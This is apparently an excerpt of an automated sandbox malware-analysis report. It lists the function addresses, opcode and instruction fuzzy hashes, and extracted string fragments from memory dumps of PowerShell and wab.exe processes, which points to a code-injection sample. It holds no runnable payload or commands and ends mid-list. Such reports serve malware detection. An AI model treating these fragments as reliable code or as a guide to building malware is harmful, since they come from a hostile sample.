Function 00AF31A0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2388041570.0000000000AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_af0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcc46cb896043f63ee3fdbe2a216a1d5aad38e76f5cfc53d3971f1e7eaf1a38e
Instruction ID: 8a8a738a801e2983bcffc88632742d2e23123f946d2ba3ea82fdff9ca1f46be7
Opcode Fuzzy Hash: dcc46cb896043f63ee3fdbe2a216a1d5aad38e76f5cfc53d3971f1e7eaf1a38e
Instruction Fuzzy Hash: 2221B374A052498FCB01CFACD9909AABFF1FF8A300B158196D445EB352C734ED45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AF31C8 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2388041570.0000000000AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_af0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51f49cddf30426d806d1290d7c8228c8393b30e359ea1932452226b8a81a8f43
Instruction ID: 21dd9b39f9e99ffd6eafad87323e99e3f15661d2edb598eda957c4e730bbbbac
Opcode Fuzzy Hash: 51f49cddf30426d806d1290d7c8228c8393b30e359ea1932452226b8a81a8f43
Instruction Fuzzy Hash: 92216DB4A042099FCB04CF9CC8809AEFBB5FF99300B158196E919EB352C734ED41CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AF39B0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2388041570.0000000000AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_af0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beeda6ec680a9db3beb35b421394f35bdcda3601257ea0e002f5b23b3916bbb3
Instruction ID: 3b4f2fad908b6b7857543dbbbd0a266ad49a4d3d777c3e99156fcf0041de05fb
Opcode Fuzzy Hash: beeda6ec680a9db3beb35b421394f35bdcda3601257ea0e002f5b23b3916bbb3
Instruction Fuzzy Hash: AD21E775A00509DFCB04DF8DC5809AAFBF5FF48310B158559E949A7761C731ED51CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0094D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2387726455.000000000094D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0094D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_94d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fddfcab354b5da73e08196307072ca7c83981f838e8d3fb290973036f5ffd0b
Instruction ID: 13e91f35255c54bbdeaab2b57ec820a7cd3345630eec46959e7da85eaa41fa02
Opcode Fuzzy Hash: 6fddfcab354b5da73e08196307072ca7c83981f838e8d3fb290973036f5ffd0b
Instruction Fuzzy Hash: 82012B350063009AD7208A15CDC4F67BF9CEF56320F18C82AED480B246C37D9942CAB1

Uniqueness

Uniqueness Score: -1.00%

Function 0094D01C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2387726455.000000000094D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0094D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_94d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52b60b48945e52469927b7f94db7fcaaf52183e1622b52fddeaf094d72977032
Instruction ID: 65962f958dcfa81eceb159a70ecef9243bb34f6f447b34b73db758feecace17f
Opcode Fuzzy Hash: 52b60b48945e52469927b7f94db7fcaaf52183e1622b52fddeaf094d72977032
Instruction Fuzzy Hash: 83F0C271006344AEE7108A16C8C4B62FF9CEF52334F18C45AED480F286C3799845CAB0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0094D8B8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2387726455.000000000094D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0094D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_94d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49b459e68c65f2aee70b5a45df7b814ef0d2f19c471beda6e0249382d0ce4a73
Instruction ID: 7f6064c91b9ce1472278a3f55d990ee4e359ce689e414c05b6879f3bc02f0414
Opcode Fuzzy Hash: 49b459e68c65f2aee70b5a45df7b814ef0d2f19c471beda6e0249382d0ce4a73
Instruction Fuzzy Hash: A7216776506200DFCB05CF14D9C0F26BF69FB98324F248569E8098B356C33AD816DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0728DB20 Relevance: 14.2, Strings: 11, Instructions: 469COMMON

Download Yara Rule

Strings

$]q, xrefs: 0728DF57
4']q, xrefs: 0728DFC1
4']q, xrefs: 0728DDB1
Tsk, xrefs: 0728DBCD
4']q, xrefs: 0728DFB5
4']q, xrefs: 0728DC01
$]q, xrefs: 0728DF26
4']q, xrefs: 0728DDBD
DUsk, xrefs: 0728DD7D
4']q, xrefs: 0728DC0D
$]q, xrefs: 0728DF47

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: Tsk$4']q$4']q$4']q$4']q$4']q$4']q$DUsk$$]q$$]q$$]q
API String ID: 0-3357110539
Opcode ID: 9d7b8eeab30e92a735af81341c7c63e4602ca4e8d04bc217a7fc8d6ca022e7b8
Instruction ID: fb33eeb0ed81554ae19aa288409932cd92cbf30a3ec3b7add8a24bd42f0ac2de
Opcode Fuzzy Hash: 9d7b8eeab30e92a735af81341c7c63e4602ca4e8d04bc217a7fc8d6ca022e7b8
Instruction Fuzzy Hash: F6F16BB1B262069FCB64AF68D5406AABBB1EF8A310F14C466D405CB2D2D733CC49C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 07289AA5 Relevance: 14.0, Strings: 11, Instructions: 289COMMON

Download Yara Rule

Strings

tP]q, xrefs: 07289BD1
4']q, xrefs: 07289DA4
(cq, xrefs: 07289D35
(cq, xrefs: 07289CF6
tP]q, xrefs: 07289CD8
$]q, xrefs: 07289AFD
(cq, xrefs: 07289C92
(cq, xrefs: 07289D00
tP]q, xrefs: 07289BDD
tP]q, xrefs: 07289CCC
4']q, xrefs: 07289DB0

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$tP]q$tP]q$tP]q$tP]q$$]q$(cq$(cq$(cq$(cq
API String ID: 0-3029092631
Opcode ID: 846c407717f32cb685e67ef5eccc19cf7279437fdea2845150a469c1eebffc8f
Instruction ID: 0528b062d296e0ec9aa488524e94c0100214f397d7cb446d3308a0b7fffaf328
Opcode Fuzzy Hash: 846c407717f32cb685e67ef5eccc19cf7279437fdea2845150a469c1eebffc8f
Instruction Fuzzy Hash: DAA107707212169FCB64EF68C94467ABBE6AF89311F148456E8815B3D1CB72ECC1CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07281EF0 Relevance: 12.9, Strings: 10, Instructions: 397COMMON

Download Yara Rule

Strings

$]q, xrefs: 07282107
$]q, xrefs: 0728216C
$]q, xrefs: 0728215C
$]q, xrefs: 072820E6
4']q, xrefs: 072821C6
4']q, xrefs: 07281FF4
4']q, xrefs: 072821D2
4']q, xrefs: 07281FE8
$]q, xrefs: 0728219D
$]q, xrefs: 072821A9

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$$]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-267665775
Opcode ID: c4af6bcd55cccb7e15cd92be6bbc3458e8316caa6584b34f7e261e59c2174381
Instruction ID: 57f30f1a56e1f36d8119e2bf23f7d3776a5f641d873ed39ebd20b84493d2de02
Opcode Fuzzy Hash: c4af6bcd55cccb7e15cd92be6bbc3458e8316caa6584b34f7e261e59c2174381
Instruction Fuzzy Hash: 5EC16AB1721306CFCB646A78891066A7BE5FFC1210F24847AD905CB2D2DB73D942C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 07281920 Relevance: 12.8, Strings: 10, Instructions: 303COMMON

Download Yara Rule

Strings

4']q, xrefs: 07281C24
$]q, xrefs: 07281AA6
$]q, xrefs: 0728197D
tP]q, xrefs: 07281A1B
tP]q, xrefs: 07281A27
$]q, xrefs: 07281A96
$]q, xrefs: 07281999
4']q, xrefs: 07281ACB
4']q, xrefs: 07281AD7
4']q, xrefs: 07281C2E

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$4']q$tP]q$tP]q$$]q$$]q$$]q$$]q
API String ID: 0-2309685269
Opcode ID: e099382447784c4f3569f305845acce6e97537cd8e046741428bf9232391d061
Instruction ID: 27a7d9a283a4a4758b8fef73c1e88dff3f469ae81938c0e36f8c2ada118085c3
Opcode Fuzzy Hash: e099382447784c4f3569f305845acce6e97537cd8e046741428bf9232391d061
Instruction Fuzzy Hash: A2A14871B2120A9FCB64AE68C54066ABBE6EF85710F14C46ED8158F3C4DA33D962C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0728A525 Relevance: 7.7, Strings: 6, Instructions: 194COMMON

Download Yara Rule

Strings

XRbq, xrefs: 0728A561
XRbq, xrefs: 0728A6A5
XRbq, xrefs: 0728A695
tP]q, xrefs: 0728A604
$]q, xrefs: 0728A57D
tP]q, xrefs: 0728A610

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: XRbq$XRbq$XRbq$tP]q$tP]q$$]q
API String ID: 0-1061996819
Opcode ID: 30531e016febe71de089173e272a69ece6cee72e051264f771c6d9d3a14b1288
Instruction ID: c973ee164dd8f7a0e946e62225f0969957fe8fdf79605731e511b28b3e5a5222
Opcode Fuzzy Hash: 30531e016febe71de089173e272a69ece6cee72e051264f771c6d9d3a14b1288
Instruction Fuzzy Hash: 14615A70B211169FCB64AF68C54066ABBF2AF85301F14C56AD8069F3D5CF76CC81CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0728C5B2 Relevance: 6.5, Strings: 5, Instructions: 222COMMON

Download Yara Rule

Strings

4']q, xrefs: 0728C97A
-tk, xrefs: 0728CADE
4']q, xrefs: 0728C7DD
x.tk, xrefs: 0728CA8D
4']q, xrefs: 0728CA1E

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$4']q$x.tk$-tk
API String ID: 0-1018100464
Opcode ID: cfa441636228883fa418fe98d9aecc13824be85f483dd8ca55eb3acbea8beffc
Instruction ID: c6e2c090d439e02b265dbdd458fc24f64f31d50276b0a2a22f476f459774ed12
Opcode Fuzzy Hash: cfa441636228883fa418fe98d9aecc13824be85f483dd8ca55eb3acbea8beffc
Instruction Fuzzy Hash: 13A18EB0A102298FD764DF24CA91BDDB7B2EB85300F1085E5D5096B386CB769EC5CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 07281901 Relevance: 6.4, Strings: 5, Instructions: 125COMMON

Download Yara Rule

Strings

$]q, xrefs: 0728197D
tP]q, xrefs: 07281A1B
$]q, xrefs: 07281A96
$]q, xrefs: 07281999
4']q, xrefs: 07281ACB

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$tP]q$$]q$$]q$$]q
API String ID: 0-2702571027
Opcode ID: 7b744f8c1028f62299449667c0ca138cf57003451af6b68667556b2a1192c7c7
Instruction ID: cd9bbd531db7ae9ac7e9368f9d09630709f355cf9e45fce63fccf6a287f7e538
Opcode Fuzzy Hash: 7b744f8c1028f62299449667c0ca138cf57003451af6b68667556b2a1192c7c7
Instruction Fuzzy Hash: 314149B063620ADFCB649E55C540BA6B7F2EF42310F08809ED4049F2D1C773D962CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 07289574 Relevance: 6.4, Strings: 5, Instructions: 121COMMON

Download Yara Rule

Strings

$]q, xrefs: 07289621
4']q, xrefs: 07289641
$]q, xrefs: 07289615
4']q, xrefs: 0728964D
$]q, xrefs: 072895DB

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q$$]q
API String ID: 0-2353078639
Opcode ID: c5251e77d810d063eef3f631a2922d47dd3c4ee993a59e6e1030154e8ad8f991
Instruction ID: d2ba8629c7883cddff2382fa53cd3d07f4daf925a4efc649142b55c95f5f4f82
Opcode Fuzzy Hash: c5251e77d810d063eef3f631a2922d47dd3c4ee993a59e6e1030154e8ad8f991
Instruction Fuzzy Hash: AB31AAF2B26327CFCBA42A69445027AB7D5AFC6210B24456FC8C18B2C5DA3BE4D5C751

Uniqueness

Uniqueness Score: -1.00%

Function 07283E85 Relevance: 6.4, Strings: 5, Instructions: 109COMMON

Download Yara Rule

Strings

$]q, xrefs: 07283EF7
4']q, xrefs: 07283F38
4']q, xrefs: 07283F44
$]q, xrefs: 07283F03
$]q, xrefs: 07283EBF

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q$$]q
API String ID: 0-2353078639
Opcode ID: 2828d8638c3dac99302608eca866f62f2eabb1a782a3e9bb22dba27d76d6ab74
Instruction ID: 336fb82a0da16cbda7d0aaff1a4b75bf032f8f033070778875a2a3ec01078b17
Opcode Fuzzy Hash: 2828d8638c3dac99302608eca866f62f2eabb1a782a3e9bb22dba27d76d6ab74
Instruction Fuzzy Hash: 783166B27212079FCF69AA68C45016EBBB1AFE1E10B2488ABC841871C6CA33C442C391

Uniqueness

Uniqueness Score: -1.00%

Function 072800F0 Relevance: 6.3, Strings: 5, Instructions: 71COMMON

Download Yara Rule

Strings

yl, xrefs: 0728016D
$]q, xrefs: 072800FF
$]q, xrefs: 07280136
$]q, xrefs: 0728012A
yl, xrefs: 0728017B

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$yl$yl
API String ID: 0-46948676
Opcode ID: 9997e1108564c23f78e33d376e3cb5582aa1742cd3ebfc6f34f310afa108ad10
Instruction ID: 56826168713cc8957c8d1ea21dd61e870a318c54962c47856f64c1ac15bed2fa
Opcode Fuzzy Hash: 9997e1108564c23f78e33d376e3cb5582aa1742cd3ebfc6f34f310afa108ad10
Instruction Fuzzy Hash: 981106713213079BDBB4691A9800B27B7ABBFC1771F24842AE849872D1E973C449C350

Uniqueness

Uniqueness Score: -1.00%

Function 07288BB8 Relevance: 5.5, Strings: 4, Instructions: 480COMMON

Download Yara Rule

Strings

(o]q, xrefs: 07288FF1
(o]q, xrefs: 07288FE1
(o]q, xrefs: 07288CAE
(o]q, xrefs: 07288C9E

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: (o]q$(o]q$(o]q$(o]q
API String ID: 0-1261621458
Opcode ID: 15bfff76f2fe77b216d30d1647296a1d87a0dcffc57a6ecacd99b787bc4cf6c3
Instruction ID: 0e90ac92dbed4c2f3e9fdc9faf3af06ada9f9bd9f2f81a0daf6e2e51b0401cfe
Opcode Fuzzy Hash: 15bfff76f2fe77b216d30d1647296a1d87a0dcffc57a6ecacd99b787bc4cf6c3
Instruction Fuzzy Hash: 05F16771726346DFCB65AF68C8407AABBA2FFC1310F54846AE4158B2D2CB37D845C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0728AC80 Relevance: 5.3, Strings: 4, Instructions: 299COMMON

Download Yara Rule

Strings

4']q, xrefs: 0728AE33
-tk, xrefs: 0728B0B9
4']q, xrefs: 0728AEB2
x.tk, xrefs: 0728B074

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$x.tk$-tk
API String ID: 0-2309125271
Opcode ID: 35791845a7b4a9a88f6e939bd22a2c453fbd80429df3b2c3c1215b6bc926e8a1
Instruction ID: 428443ff962e9ee5cedff16c376d055b2f07f34eceda5300d905a2d87501b771
Opcode Fuzzy Hash: 35791845a7b4a9a88f6e939bd22a2c453fbd80429df3b2c3c1215b6bc926e8a1
Instruction Fuzzy Hash: B7C1E5B0A212058FDB64EF94C551B6EBBB2EF88300F14D82AD4156F785CB77AC46CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0728E9C8 Relevance: 5.3, Strings: 4, Instructions: 295COMMON

Download Yara Rule

Strings

tP]q, xrefs: 0728EBDE
tP]q, xrefs: 0728EAD8
tP]q, xrefs: 0728EBD2
tP]q, xrefs: 0728EAE4

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: tP]q$tP]q$tP]q$tP]q
API String ID: 0-1002165369
Opcode ID: be5373ddfaff8eede2c432a88e6e6c7ab9fbca4119f34b431d919c9dff5c1b3b
Instruction ID: 22aca04180c69fff6299443679dfcf2491087d46f0290caf4f0283ca45a6f4f5
Opcode Fuzzy Hash: be5373ddfaff8eede2c432a88e6e6c7ab9fbca4119f34b431d919c9dff5c1b3b
Instruction Fuzzy Hash: 5EA14A70F212168FC764AF68C551A6EBBE2FF89710F168869E8059F3D0DA72DC41C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 072823A0 Relevance: 5.1, Strings: 4, Instructions: 104COMMON

Download Yara Rule

Strings

$]q, xrefs: 072823CF
$]q, xrefs: 07282448
$]q, xrefs: 072823EB
$]q, xrefs: 0728243C

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: e6f9d476f4325680da54f4997f823548e84084eb26ae9c646c9b7d02b6e73087
Instruction ID: 54247eb76a8c100c037a0c3a45dbc7d187711d0516994c9f22915b3d80b290a6
Opcode Fuzzy Hash: e6f9d476f4325680da54f4997f823548e84084eb26ae9c646c9b7d02b6e73087
Instruction Fuzzy Hash: 89317D713303229BD67829699991B3776CABBC0B11F148C29A946CF3C1CD77DC4583B1

Uniqueness

Uniqueness Score: -1.00%

Function 07280CB8 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$]q, xrefs: 07280D14
$]q, xrefs: 07280CCA
$]q, xrefs: 07280D20
$]q, xrefs: 07280CE6

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q
API String ID: 0-858218434
Opcode ID: fff1c0ec85816caab78a12a97b5384a58e34a9a76846d0f87ceff9dacd4d8495
Instruction ID: d710ced9ea71267a0f40fb6435f6ed476e18b1df7f331e7a61bf052ef4c6570d
Opcode Fuzzy Hash: fff1c0ec85816caab78a12a97b5384a58e34a9a76846d0f87ceff9dacd4d8495
Instruction Fuzzy Hash: C1213A717213065BD7B4296E8940727B6D6EBC1711F208826A849C73C1DD77E8498361

Uniqueness

Uniqueness Score: -1.00%

Function 072817A1 Relevance: 5.0, Strings: 4, Instructions: 47COMMON

Download Yara Rule

Strings

$]q, xrefs: 072817EA
4']q, xrefs: 07281817
4']q, xrefs: 0728180B
$]q, xrefs: 072817F6

Memory Dump Source

Source File: 00000005.00000002.2402229637.0000000007280000.00000040.00000800.00020000.00000000.sdmp, Offset: 07280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7280000_powershell.jbxd

Similarity

API ID:
String ID: 4']q$4']q$$]q$$]q
API String ID: 0-978391646
Opcode ID: 741970a38f56b592783ac7139f89f83ea42b348bdf40baff0bdbac5ec53758b8
Instruction ID: 48bdab07750688b1de05111785d1244250ba10d7898d394e62b77488456b6a98
Opcode Fuzzy Hash: 741970a38f56b592783ac7139f89f83ea42b348bdf40baff0bdbac5ec53758b8
Instruction Fuzzy Hash: AC01F76071A3894FC37A162C19311626FB75FC3500719049BD081DB2D3CD5A8C0BC3A7

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: wab.exePID: 3292, Parent PID: 4320COMMON

Execution Graph

Execution Coverage:	0%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	40%
Total number of Nodes:	5
Total number of Limit Nodes:	1

Executed Functions

Function 207735C0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 207735CA

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d38903cec99578166955874b7e90c70855abdc6e49720e4b9d9e2122b0e0011a
Instruction ID: 16fcccd109545cbefcab6c275cd9adaa6430db305b7463fe9f335aaf8834b4c5
Opcode Fuzzy Hash: d38903cec99578166955874b7e90c70855abdc6e49720e4b9d9e2122b0e0011a
Instruction Fuzzy Hash: 0190023160550402D25471994594706100647D0311F65C412A042457CD87958A5175A3

Uniqueness

Uniqueness Score: -1.00%

Function 20772B60 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 20772B6A

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 288b28e4bd3132575862f215dbb206d179f813e0ff707172fe81436789e9812b
Instruction ID: c63c004e6ccb807be745b5bb7971ac4cbd1ddd4384066ae1e12f4b433dd975d5
Opcode Fuzzy Hash: 288b28e4bd3132575862f215dbb206d179f813e0ff707172fe81436789e9812b
Instruction Fuzzy Hash: EB90026120240003425971994494616400B47E0311B55C022E10145A4DC52589917126

Uniqueness

Uniqueness Score: -1.00%

Function 20772C70 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 20772C7A

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c6f98e79e53d96647bbfa96ab1d216efc24dc6a8cb82d9c70fb7bf3d75025990
Instruction ID: 64f5ca05d7b556912dea12f94a0aaf32231f73987dcf6da05dab507af4bf8cf6
Opcode Fuzzy Hash: c6f98e79e53d96647bbfa96ab1d216efc24dc6a8cb82d9c70fb7bf3d75025990
Instruction Fuzzy Hash: 1990023120148802D2647199848474A000647D0311F59C412A442466CD869589917122

Uniqueness

Uniqueness Score: -1.00%

Function 20772DF0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 20772DFA

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d11aa7d4d5f18a4a8eed5b230e7fe3c855608cad7315ed64174fae52bf7e3d0a
Instruction ID: 50ae569326cec5e372ea9c44b320e19e68cde9b903ba1e1d81c047192a7c2fd7
Opcode Fuzzy Hash: d11aa7d4d5f18a4a8eed5b230e7fe3c855608cad7315ed64174fae52bf7e3d0a
Instruction Fuzzy Hash: 7F90023120140413D26571994584707000A47D0351F95C413A042456CD96568A52B122

Uniqueness

Uniqueness Score: -1.00%

Function 20772C0A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 20772C24

Memory Dump Source

Source File: 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, Offset: 20700000, based on PE: true

Associated: 00000009.00000002.2704809577.0000000020829000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002082D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_20700000_wab.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a38dca06dd6a5fd03dc25e42a82375deedc15d36a1d4ec4c71c69343746a9d23
Instruction ID: 23864b6920cf7cba395fe1593f249f347c4dea3e01fcdac35dd98d6570f941e9
Opcode Fuzzy Hash: a38dca06dd6a5fd03dc25e42a82375deedc15d36a1d4ec4c71c69343746a9d23
Instruction Fuzzy Hash: 91B09B719015C5C5DB55E7A0464870B791567E0751F15C462D3130656F4738C5D1F176

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 207B2349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 207B3187
MinimumStackCommitInBytes, xrefs: 207B2BB0
ExecuteOptions, xrefs: 207B25A0
@, xrefs: 207B2B74
FrontEndHeapDebugOptions, xrefs: 207B2489
GlobalFlag2, xrefs: 207B2FC0
